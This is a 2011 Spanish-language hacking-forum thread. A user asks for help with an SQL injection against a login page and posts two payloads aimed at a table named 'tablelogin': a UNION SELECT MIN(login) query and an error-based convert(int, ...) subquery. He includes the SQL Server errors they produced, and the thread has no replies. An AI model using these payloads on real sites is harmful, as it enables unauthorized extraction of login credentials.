elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Sql injection problema :(
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Sql injection problema :(  (Leído 3,873 veces)
locot3

Desconectado Desconectado

Mensajes: 74


Ver Perfil
Sql injection problema :(
« en: 15 Febrero 2011, 23:14 pm »

Buenas y gracias X la ayuda, mi probema es este : en una injecion SQL a una pagina de LOGIN que estoy provando despues de llegar a averiguar el NOMBRE de la TABLA y TODOS sus campos al momento de hacer el :

UNION SELECT MIN(login),1,1,1 FROM tablelogin WHERE login > 'a'--

*REsultado :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Operand type clash: text is incompatible with int

****AL buscar una solucion me encontre con este tipo de injjecion :

convert(int,(SELECT login FROM tablelogin WHERE login > 'a'))

*REsultado :

Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC SQL Server Driver][SQL Server]Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression


por lo que puedo ver el server correo IIS 6.0 si sirve de algo ,, cualquiero ayuda sera bien recivida y muchas gracias por el tiempo !
En línea

locot3

Desconectado Desconectado

Mensajes: 74


Ver Perfil
Re: Sql injection problema :(
« Respuesta #1 en: 20 Febrero 2011, 04:19 am »

y los dias pasan :D....... .. . ... ..  .....
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[MOD] Se me resiste un foro :@ Problema con la SQL injection y el hash md5
Nivel Web
h1t0k1r1 4 3,926 Último mensaje 1 Octubre 2004, 23:49 pm
por eLank0
Problema con UNION SELECT en SQL Injection
Nivel Web
Mie2 4 5,648 Último mensaje 29 Octubre 2008, 02:02 am
por 1nc0d3
problema SQL Injection: Type mismatch: 'CDBL'
Nivel Web
slackbyte 3 6,664 Último mensaje 3 Mayo 2009, 06:13 am
por slackbyte
CAST EXEC en sql injection(Automated Sql Injection)
Nivel Web
EvilGoblin 2 5,162 Último mensaje 11 Julio 2010, 22:25 pm
por EvilGoblin
Not Acceptable!, problema en ejercicios de injection SQL
Hacking
Caroxh1 4 3,737 Último mensaje 5 Febrero 2020, 17:32 pm
por WHK
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines